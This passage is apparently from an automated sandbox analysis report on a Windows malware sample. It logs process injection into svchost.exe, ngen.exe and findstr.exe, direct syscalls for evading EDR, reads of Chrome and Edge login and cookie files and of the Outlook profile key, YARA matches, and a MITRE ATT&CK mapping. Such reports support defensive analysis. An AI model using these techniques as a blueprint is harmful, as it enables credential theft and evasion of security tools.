Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589E016 mov eax, dword ptr fs:[00000030h]	4_2_0589E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589E016 mov eax, dword ptr fs:[00000030h]	4_2_0589E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589E016 mov eax, dword ptr fs:[00000030h]	4_2_0589E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587A020 mov eax, dword ptr fs:[00000030h]	4_2_0587A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587C020 mov eax, dword ptr fs:[00000030h]	4_2_0587C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594903E mov eax, dword ptr fs:[00000030h]	4_2_0594903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594903E mov eax, dword ptr fs:[00000030h]	4_2_0594903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594903E mov eax, dword ptr fs:[00000030h]	4_2_0594903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594903E mov eax, dword ptr fs:[00000030h]	4_2_0594903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592705E mov ebx, dword ptr fs:[00000030h]	4_2_0592705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592705E mov eax, dword ptr fs:[00000030h]	4_2_0592705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05882050 mov eax, dword ptr fs:[00000030h]	4_2_05882050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AB052 mov eax, dword ptr fs:[00000030h]	4_2_058AB052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05955060 mov eax, dword ptr fs:[00000030h]	4_2_05955060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov ecx, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891070 mov eax, dword ptr fs:[00000030h]	4_2_05891070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AC073 mov eax, dword ptr fs:[00000030h]	4_2_058AC073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590106E mov eax, dword ptr fs:[00000030h]	4_2_0590106E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FD070 mov ecx, dword ptr fs:[00000030h]	4_2_058FD070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A438F mov eax, dword ptr fs:[00000030h]	4_2_058A438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A438F mov eax, dword ptr fs:[00000030h]	4_2_058A438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0595539D mov eax, dword ptr fs:[00000030h]	4_2_0595539D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587E388 mov eax, dword ptr fs:[00000030h]	4_2_0587E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587E388 mov eax, dword ptr fs:[00000030h]	4_2_0587E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587E388 mov eax, dword ptr fs:[00000030h]	4_2_0587E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05878397 mov eax, dword ptr fs:[00000030h]	4_2_05878397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05878397 mov eax, dword ptr fs:[00000030h]	4_2_05878397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05878397 mov eax, dword ptr fs:[00000030h]	4_2_05878397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058D739A mov eax, dword ptr fs:[00000030h]	4_2_058D739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058D739A mov eax, dword ptr fs:[00000030h]	4_2_058D739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B33A0 mov eax, dword ptr fs:[00000030h]	4_2_058B33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B33A0 mov eax, dword ptr fs:[00000030h]	4_2_058B33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A33A5 mov eax, dword ptr fs:[00000030h]	4_2_058A33A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593B3D0 mov ecx, dword ptr fs:[00000030h]	4_2_0593B3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0588A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0588A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0588A3C0

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658557D00 RtlAddVectoredExceptionHandler,RaiseFailFastException,		0_2_00007FF658557D00
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF6585B0E9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF6585B0E9C

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 protect: page execute and read and write			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory written: C:\Windows\System32\svchost.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 value starts with: 4D5A			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Section loaded: NULL target: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Section loaded: NULL target: C:\Windows\SysWOW64\findstr.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: NULL target: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: NULL target: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\findstr.exe

Thread register set: target process: 5328

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\findstr.exe

Thread APC queued: target process: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory written: C:\Windows\System32\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory written: C:\Windows\System32\svchost.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 5084008	Jump to behavior

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000000.2215612101.00000000014A1000.00000002.00000001.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000002.3924750252.00000000014A1000.00000002.00000001.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925092416.0000000001881000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000000.2215612101.00000000014A1000.00000002.00000001.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000002.3924750252.00000000014A1000.00000002.00000001.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925092416.0000000001881000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000000.2215612101.00000000014A1000.00000002.00000001.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000002.3924750252.00000000014A1000.00000002.00000001.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925092416.0000000001881000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000000.2215612101.00000000014A1000.00000002.00000001.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000002.3924750252.00000000014A1000.00000002.00000001.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925092416.0000000001881000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\GJRX21GBj3.exe

Code function: 0_2_00007FF6585B1544 cpuid

0_2_00007FF6585B1544

Source: C:\Users\user\Desktop\GJRX21GBj3.exe

Code function: 0_2_00007FF6585B11A0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6585B11A0

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 4.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3923813236.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2294296870.0000000005BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2293698389.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3924270486.0000000003150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3925169217.0000000002C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3924150933.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3925057114.0000000002AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2294356055.0000000005CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\findstr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\findstr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 4.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3923813236.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2294296870.0000000005BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2293698389.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3924270486.0000000003150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3925169217.0000000002C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3924150933.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3925057114.0000000002AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2294356055.0000000005CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	3 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	612 Process Injection	1 Access Token Manipulation	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	612 Process Injection	Security Account Manager	3 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
